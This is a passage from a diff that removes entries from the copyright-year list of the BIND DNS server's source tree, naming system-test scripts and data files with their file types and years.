-./bin/tests/system/integrity/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/integrity/tests.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/ixfr/ans2/startme		X	2011,2018,2019,2020,2021
-./bin/tests/system/ixfr/clean.sh		SH	2001,2004,2007,2011,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/ixfr/ixfr-stats.good		X	2019,2020,2021
-./bin/tests/system/ixfr/setup.sh		SH	2001,2004,2007,2011,2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/ixfr/tests.sh		SH	2001,2004,2007,2011,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/journal/clean.sh		SH	2021
-./bin/tests/system/journal/ns1/changed.ver1.jnl.saved	X	2021
-./bin/tests/system/journal/ns1/changed.ver2.jnl.saved	X	2021
-./bin/tests/system/journal/ns1/d1212.jnl.saved	X	2021
-./bin/tests/system/journal/ns1/d2121.jnl.saved	X	2021
-./bin/tests/system/journal/ns1/ixfr.ver1.jnl.saved	X	2021
-./bin/tests/system/journal/ns1/maxjournal.jnl.saved	X	2021
-./bin/tests/system/journal/ns1/maxjournal2.jnl.saved	X	2021
-./bin/tests/system/journal/ns1/unchanged.ver1.jnl.saved	X	2021
-./bin/tests/system/journal/ns1/unchanged.ver2.jnl.saved	X	2021
-./bin/tests/system/journal/setup.sh		SH	2021
-./bin/tests/system/journal/tests.sh		SH	2021
-./bin/tests/system/kasp.sh			SH	2021
-./bin/tests/system/kasp/README			TXT.BRIEF	2019,2020,2021
-./bin/tests/system/kasp/clean.sh		SH	2019,2020,2021
-./bin/tests/system/kasp/ns2/setup.sh		SH	2019,2020,2021
-./bin/tests/system/kasp/ns3/setup.sh		SH	2019,2020,2021
-./bin/tests/system/kasp/ns4/setup.sh		SH	2019,2020,2021
-./bin/tests/system/kasp/ns5/setup.sh		SH	2019,2020,2021
-./bin/tests/system/kasp/ns6/setup.sh		SH	2020,2021
-./bin/tests/system/kasp/setup.sh		SH	2019,2020,2021
-./bin/tests/system/kasp/tests.sh		SH	2019,2020,2021
-./bin/tests/system/keepalive/clean.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/keepalive/expected		X	2017,2018,2019,2020,2021
-./bin/tests/system/keepalive/setup.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/keepalive/tests.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/keymgr2kasp/README		TXT.BRIEF	2021
-./bin/tests/system/keymgr2kasp/clean.sh		SH	2021
-./bin/tests/system/keymgr2kasp/ns3/setup.sh	SH	2021
-./bin/tests/system/keymgr2kasp/ns4/setup.sh	SH	2021
-./bin/tests/system/keymgr2kasp/setup.sh		SH	2021
-./bin/tests/system/keymgr2kasp/tests.sh		SH	2021
-./bin/tests/system/legacy/build.sh		SH	2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/legacy/clean.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/legacy/ns1/trusted.conf	X	2014,2018,2019
-./bin/tests/system/legacy/ns10/named.ednsrefused	X	2018,2019,2020,2021
-./bin/tests/system/legacy/ns2/named.dropedns	X	2014,2018,2019,2020,2021
-./bin/tests/system/legacy/ns3/named.dropedns	X	2014,2018,2019,2020,2021
-./bin/tests/system/legacy/ns3/named.notcp	X	2014,2018,2019,2020,2021
-./bin/tests/system/legacy/ns4/named.args	X	2014,2018,2019,2020,2021
-./bin/tests/system/legacy/ns5/named.args	X	2014,2018,2019,2020,2021
-./bin/tests/system/legacy/ns5/named.notcp	X	2014,2018,2019,2020,2021
-./bin/tests/system/legacy/ns6/edns512.db.signed	X	2014,2018,2019
-./bin/tests/system/legacy/ns6/named.args	X	2014,2018,2019,2020,2021
-./bin/tests/system/legacy/ns6/sign.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/legacy/ns7/edns512-notcp.db.signed	X	2014,2018,2019
-./bin/tests/system/legacy/ns7/named.args	X	2014,2018,2019,2020,2021
-./bin/tests/system/legacy/ns7/named.notcp	X	2014,2018,2019,2020,2021
-./bin/tests/system/legacy/ns7/sign.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/legacy/ns8/named.ednsformerr	X	2018,2019,2020,2021
-./bin/tests/system/legacy/ns9/named.ednsnotimp	X	2018,2019,2020,2021
-./bin/tests/system/legacy/setup.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/legacy/tests.sh		SH	2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/limits/clean.sh		SH	2000,2001,2004,2007,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/limits/knowngood.dig.out.1000	X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/limits/knowngood.dig.out.2000	X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/limits/knowngood.dig.out.3000	X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/limits/knowngood.dig.out.4000	X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/limits/knowngood.dig.out.a-maximum-rrset	X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/limits/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/limits/tests.sh		SH	2000,2001,2004,2007,2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/clean.sh	SH	2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/ns1/named.dirconf	X	2011,2013,2016,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/ns1/named.iso8601	X	2016,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/ns1/named.iso8601-utc	X	2016,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/ns1/named.pipeconf	X	2011,2013,2016,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/ns1/named.plain	X	2011,2013,2014,2016,2018,2019,2020
-./bin/tests/system/logfileconfig/ns1/named.plainconf	X	2014,2016,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/ns1/named.symconf	X	2011,2013,2016,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/ns1/named.tsconf	X	2017,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/ns1/named.unlimited	X	2016,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/ns1/named.versconf	X	2016,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/setup.sh	SH	2011,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/logfileconfig/tests.sh	SH	2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/makejournal.c		C	2013,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/masterfile/clean.sh		SH	2001,2004,2007,2010,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/masterfile/knowngood.dig.out	X	2001,2004,2012,2018,2019,2020,2021
-./bin/tests/system/masterfile/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/masterfile/tests.sh		SH	2001,2004,2007,2010,2012,2015,2016,2018,2019,2020,2021
-./bin/tests/system/masterfile/zone/inheritownerafterinclude.good	X	2015,2018,2019,2020,2021
-./bin/tests/system/masterformat/clean.sh	SH	2005,2007,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/masterformat/ns1/compile.sh	SH	2005,2006,2007,2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/masterformat/setup.sh	SH	2005,2006,2007,2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/masterformat/tests.sh	SH	2005,2007,2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/metadata/clean.sh		SH	2009,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/metadata/setup.sh		SH	2009,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/metadata/tests.sh		SH	2009,2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/mirror/README		TXT.BRIEF	2018,2019,2020,2021
-./bin/tests/system/mirror/clean.sh		SH	2018,2019,2020,2021
-./bin/tests/system/mirror/ns1/sign.sh		SH	2018,2019,2020,2021
-./bin/tests/system/mirror/ns2/sign.sh		SH	2018,2019,2020,2021
-./bin/tests/system/mirror/ns3/named.args	X	2018,2019,2020,2021
-./bin/tests/system/mirror/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/mirror/tests.sh		SH	2018,2019,2020,2021
-./bin/tests/system/mkeys/README			TXT.BRIEF	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/mkeys/clean.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/mkeys/ns1/sign.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/mkeys/ns1/unsupported.key	X	2018,2019,2020,2021
-./bin/tests/system/mkeys/ns2/named.args		X	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/mkeys/ns3/named.args		X	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/mkeys/ns5/named1.args	X	2017,2018,2019,2020,2021
-./bin/tests/system/mkeys/ns5/named2.args	X	2017,2018,2019,2020,2021
-./bin/tests/system/mkeys/ns6/named.args		X	2018,2019,2020,2021
-./bin/tests/system/mkeys/ns6/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/mkeys/ns6/unsupported-managed.key	X	2018,2019,2020,2021
-./bin/tests/system/mkeys/setup.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/mkeys/tests.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/names/clean.sh		SH	2015,2016,2018,2019,2020,2021
-./bin/tests/system/names/setup.sh		SH	2015,2016,2018,2019,2020,2021
-./bin/tests/system/names/tests.sh		SH	2015,2016,2018,2019,2020,2021
-./bin/tests/system/notify/clean.sh		SH	2000,2001,2004,2007,2011,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/notify/ns4/named.port.in	X	2014,2018,2019,2020
-./bin/tests/system/notify/setup.sh		SH	2000,2001,2004,2007,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/notify/tests.sh		SH	2000,2001,2004,2007,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/nsec3/clean.sh		SH	2020,2021
-./bin/tests/system/nsec3/ns3/setup.sh		SH	2020,2021
-./bin/tests/system/nsec3/setup.sh		SH	2020,2021
-./bin/tests/system/nsec3/tests.sh		SH	2020,2021
-./bin/tests/system/nslookup/clean.sh		SH	2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/nslookup/setup.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/nslookup/tests.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/nsupdate/ans4/ans.pl		PERL	2017,2018,2019,2020,2021
-./bin/tests/system/nsupdate/clean.sh		SH	2000,2001,2004,2007,2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/nsupdate/commandlist		X	2012,2018,2019,2020,2021
-./bin/tests/system/nsupdate/knowngood.ns1.after	X	2000,2001,2003,2004,2009,2018,2019,2020,2021
-./bin/tests/system/nsupdate/knowngood.ns1.afterstop	X	2001,2004,2018,2019,2020,2021
-./bin/tests/system/nsupdate/knowngood.ns1.before	X	2000,2001,2003,2004,2009,2018,2019,2020,2021
-./bin/tests/system/nsupdate/krb/setup.sh	SH	2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns10/dns.keytab	X	2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns10/machine.ccache	X	2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns3/sign.sh		SH	2010,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns5/named.args	X	2017,2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns6/named.args	X	2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns7/dns.keytab	X	2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns7/machine.ccache	X	2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns8/dns-other-than-KRB5_KTNAME.keytab	X	2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns8/machine.ccache	X	2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns9/dns.keytab	X	2018,2019,2020,2021
-./bin/tests/system/nsupdate/ns9/machine.ccache	X	2018,2019,2020,2021
-./bin/tests/system/nsupdate/setup.sh		SH	2000,2001,2004,2007,2009,2010,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/nsupdate/tests.sh		SH	2000,2001,2004,2007,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/nsupdate/update_test.pl	PERL	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./bin/tests/system/nsupdate/verylarge.in	X	2013,2018,2019,2020
-./bin/tests/system/nzd2nzf/clean.sh		SH	2016,2018,2019,2020,2021
-./bin/tests/system/nzd2nzf/setup.sh		SH	2016,2018,2019,2020,2021
-./bin/tests/system/nzd2nzf/tests.sh		SH	2016,2018,2019,2020,2021
-./bin/tests/system/org.isc.bind.system		SH	2010,2012,2013,2016,2018,2019,2020,2021
-./bin/tests/system/org.isc.bind.system.plist	X	2010,2018,2019,2020,2021
-./bin/tests/system/packet.pl			PERL	2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/padding/clean.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/padding/setup.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/padding/tests.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/parallel.sh			SH	2019,2020,2021
-./bin/tests/system/pending/clean.sh		SH	2009,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/pending/ns1/sign.sh		SH	2009,2010,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/pending/ns2/sign.sh		SH	2009,2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/pending/setup.sh		SH	2009,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/pending/tests.sh		SH	2009,2010,2012,2015,2016,2018,2019,2020,2021
-./bin/tests/system/pipelined/ans5/ans.py	PYTHON	2020,2021
-./bin/tests/system/pipelined/clean.sh		SH	2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/pipelined/input		X	2014,2015,2018,2019,2020,2021
-./bin/tests/system/pipelined/inputb		X	2014,2015,2018,2019,2020,2021
-./bin/tests/system/pipelined/pipequeries.c	C	2014,2015,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/pipelined/ref		X	2014,2015,2018,2019,2020,2021
-./bin/tests/system/pipelined/refb		X	2014,2015,2018,2019,2020,2021
-./bin/tests/system/pipelined/setup.sh		SH	2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/pipelined/tests.sh		SH	2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/pkcs11/2037-pk11_numbits-crash-test.pkt	X	2020,2021
-./bin/tests/system/pkcs11/clean.sh		SH	2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/pkcs11/setup.sh		SH	2010,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/pkcs11/tests.sh		SH	2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/pkcs11/usepkcs11		X	2010,2018,2019,2020,2021
-./bin/tests/system/qmin/ans2/ans.py		PYTHON	2018,2019,2020,2021
-./bin/tests/system/qmin/ans3/ans.py		PYTHON	2018,2019,2020,2021
-./bin/tests/system/qmin/ans4/ans.py		PYTHON	2018,2019,2020,2021
-./bin/tests/system/qmin/clean.sh		SH	2018,2019,2020,2021
-./bin/tests/system/qmin/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/qmin/tests.sh		SH	2018,2019,2020,2021
-./bin/tests/system/reclimit/README		TXT.BRIEF	2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/reclimit/ans2/ans.pl		PERL	2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/reclimit/ans4/ans.pl		PERL	2018,2019,2020,2021
-./bin/tests/system/reclimit/ans7/ans.pl		PERL	2014,2016,2018,2019,2020,2021
-./bin/tests/system/reclimit/clean.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/reclimit/setup.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/reclimit/tests.sh		SH	2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/redirect/clean.sh		SH	2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/redirect/ns1/sign.sh		SH	2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/redirect/ns3/sign.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/redirect/ns5/sign.sh		SH	2019,2020,2021
-./bin/tests/system/redirect/setup.sh		SH	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/redirect/tests.sh		SH	2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/resolve.c			C	2009,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/resolver/ans2/ans.pl		PERL	2019,2020,2021
-./bin/tests/system/resolver/ans3/ans.pl		PERL	2000,2001,2004,2007,2009,2012,2016,2018,2019,2020,2021
-./bin/tests/system/resolver/ans8/ans.pl		PERL	2017,2018,2019,2020,2021
-./bin/tests/system/resolver/clean.sh		SH	2008,2009,2010,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/resolver/ns4/named.noaa	TXT.BRIEF	2010,2016,2018,2019,2020,2021
-./bin/tests/system/resolver/ns6/keygen.sh	SH	2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/resolver/setup.sh		SH	2010,2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/resolver/tests.sh		SH	2000,2001,2004,2007,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rndc/clean.sh		SH	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rndc/gencheck.c		C	2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/rndc/ns6/named.args		X	2016,2018,2019,2020,2021
-./bin/tests/system/rndc/setup.sh		SH	2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rndc/tests.sh		SH	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rootkeysentinel/clean.sh	SH	2018,2019,2020,2021
-./bin/tests/system/rootkeysentinel/ns1/sign.sh	SH	2018,2019,2020,2021
-./bin/tests/system/rootkeysentinel/ns2/sign.sh	SH	2018,2019,2020,2021
-./bin/tests/system/rootkeysentinel/setup.sh	SH	2018,2019,2020,2021
-./bin/tests/system/rootkeysentinel/tests.sh	SH	2018,2019,2020,2021
-./bin/tests/system/rpz/README			TXT.BRIEF	2019,2020,2021
-./bin/tests/system/rpz/clean.sh			SH	2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rpz/dnsrps.c			C	2017,2018,2019,2020,2021
-./bin/tests/system/rpz/dnsrpzd-license.conf	X	2017,2018,2019
-./bin/tests/system/rpz/ns3/crash1		X	2011,2013,2018,2019,2020,2021
-./bin/tests/system/rpz/ns3/crash2		X	2011,2012,2013,2018,2019,2020,2021
-./bin/tests/system/rpz/ns5/named.args		X	2013,2014,2018,2019,2020,2021
-./bin/tests/system/rpz/qperf.sh			SH	2012,2013,2016,2018,2019,2020,2021
-./bin/tests/system/rpz/setup.sh			SH	2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rpz/test1			X	2018,2019,2020,2021
-./bin/tests/system/rpz/test2			X	2018,2019,2020,2021
-./bin/tests/system/rpz/test3			X	2018,2019,2020,2021
-./bin/tests/system/rpz/test4			X	2018,2019,2020,2021
-./bin/tests/system/rpz/test4a			X	2018,2019,2020,2021
-./bin/tests/system/rpz/test5			X	2018,2019,2020,2021
-./bin/tests/system/rpz/test6			X	2018,2019,2020,2021
-./bin/tests/system/rpz/tests.sh			SH	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rpzextra/clean.sh		SH	2020,2021
-./bin/tests/system/rpzextra/conftest.py		PYTHON	2020,2021
-./bin/tests/system/rpzextra/ns1/named.args	X	2020,2021
-./bin/tests/system/rpzextra/setup.sh		SH	2020,2021
-./bin/tests/system/rpzextra/tests-rpz-passthru-logging.py	PYTHON-BIN	2020,2021
-./bin/tests/system/rpzrecurse/README		TXT.BRIEF	2015,2016,2018,2019,2020,2021
-./bin/tests/system/rpzrecurse/ans5/ans.pl	PERL	2016,2018,2019,2020,2021
-./bin/tests/system/rpzrecurse/clean.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rpzrecurse/ns2/named.conf.header.in	X	2015,2016,2017,2018,2019,2020
-./bin/tests/system/rpzrecurse/setup.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rpzrecurse/testgen.pl	PERL	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rpzrecurse/tests.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rrchecker/classlist.good	X	2013,2018,2019,2020,2021
-./bin/tests/system/rrchecker/clean.sh		SH	2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rrchecker/privatelist.good	X	2013,2018,2019,2020,2021
-./bin/tests/system/rrchecker/tests.sh		SH	2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rrchecker/typelist.good	X	2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rrl/clean.sh			SH	2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/rrl/setup.sh			SH	2012,2013,2016,2018,2019,2020,2021
-./bin/tests/system/rrl/tests.sh			SH	2012,2013,2015,2016,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/clean.sh		SH	2006,2007,2008,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.fixed.good	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good1	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good10	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good11	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good12	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good13	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good14	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good15	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good16	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good17	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good18	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good19	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good2	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good20	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good21	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good22	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good23	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good24	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good3	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good4	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good5	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good6	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good7	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good8	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/dig.out.random.good9	X	2006,2018,2019,2020,2021
-./bin/tests/system/rrsetorder/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/rrsetorder/tests.sh		SH	2006,2007,2008,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rsabigexponent/README.md	TXT.BRIEF	2021
-./bin/tests/system/rsabigexponent/bigkey.c	C	2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rsabigexponent/clean.sh	SH	2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/rsabigexponent/ns1/sign.sh	SH	2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/rsabigexponent/ns2/Xexample.+005+05896.key	X	2012,2018,2019,2020,2021
-./bin/tests/system/rsabigexponent/ns2/Xexample.+005+05896.private	X	2012,2018,2019,2020,2021
-./bin/tests/system/rsabigexponent/ns2/Xexample.+005+51829.key	X	2012,2018,2019,2020,2021
-./bin/tests/system/rsabigexponent/ns2/Xexample.+005+51829.private	X	2012,2018,2019,2020,2021
-./bin/tests/system/rsabigexponent/ns2/dsset-example.in	X	2012,2018,2019,2020
-./bin/tests/system/rsabigexponent/ns2/sign.sh	SH	2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/rsabigexponent/setup.sh	SH	2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/rsabigexponent/tests.sh	SH	2012,2016,2018,2019,2020,2021
-./bin/tests/system/run.gdb			X	2019,2020,2021
-./bin/tests/system/run.sh.in			X	2000,2001,2004,2007,2010,2012,2014,2015,2016,2017,2018,2019,2020
-./bin/tests/system/runall.sh			SH	2000,2001,2004,2007,2010,2011,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/runsequential.sh		SH	2018,2019,2020,2021
-./bin/tests/system/runtime/README		TXT.BRIEF	2014,2016,2018,2019,2020,2021
-./bin/tests/system/runtime/clean.sh		SH	2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/runtime/ctrl-chars		X	2019,2020,2021
-./bin/tests/system/runtime/long-cmd-line	X	2019,2020,2021
-./bin/tests/system/runtime/setup.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/runtime/tests.sh		SH	2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/send.pl			PERL	2001,2004,2007,2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/serve-stale/ans2/ans.pl	PERL	2017,2018,2019,2020,2021
-./bin/tests/system/serve-stale/clean.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/serve-stale/setup.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/serve-stale/tests.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/setup.sh			SH	2000,2001,2004,2007,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/sfcache/README		TXT.BRIEF	2014,2016,2018,2019,2020,2021
-./bin/tests/system/sfcache/clean.sh		SH	2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/sfcache/ns1/sign.sh		SH	2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/sfcache/ns2/sign.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/sfcache/ns5/sign.sh		SH	2018,2019,2020,2021
-./bin/tests/system/sfcache/setup.sh		SH	2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/sfcache/tests.sh		SH	2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/shutdown/clean.sh		SH	2020,2021
-./bin/tests/system/shutdown/conftest.py		PYTHON	2020,2021
-./bin/tests/system/shutdown/setup.sh		SH	2020,2021
-./bin/tests/system/shutdown/tests-shutdown.py	PYTHON-BIN	2020,2021
-./bin/tests/system/smartsign/clean.sh		SH	2010,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/smartsign/tests.sh		SH	2010,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/sortlist/clean.sh		SH	2000,2001,2004,2007,2009,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/sortlist/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/sortlist/tests.sh		SH	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./bin/tests/system/spf/clean.sh			SH	2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/spf/setup.sh			SH	2018,2019,2020,2021
-./bin/tests/system/spf/tests.sh			SH	2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/start.pl			SH	2001,2004,2005,2006,2007,2008,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/start.sh.in			X	2000,2001,2004,2007,2012,2016,2018,2019,2020
-./bin/tests/system/staticstub/clean.sh		SH	2010,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/staticstub/knowngood.dig.out.rec	X	2010,2013,2018,2019,2020,2021
-./bin/tests/system/staticstub/ns3/sign.sh	SH	2010,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/staticstub/ns4/sign.sh	SH	2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/staticstub/setup.sh		SH	2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/staticstub/tests.sh		SH	2010,2011,2012,2013,2015,2016,2018,2019,2020,2021
-./bin/tests/system/statistics/ans4/ans.pl	PERL	2012,2016,2018,2019,2020,2021
-./bin/tests/system/statistics/clean.sh		SH	2012,2014,2015,2016,2018,2019,2020,2021
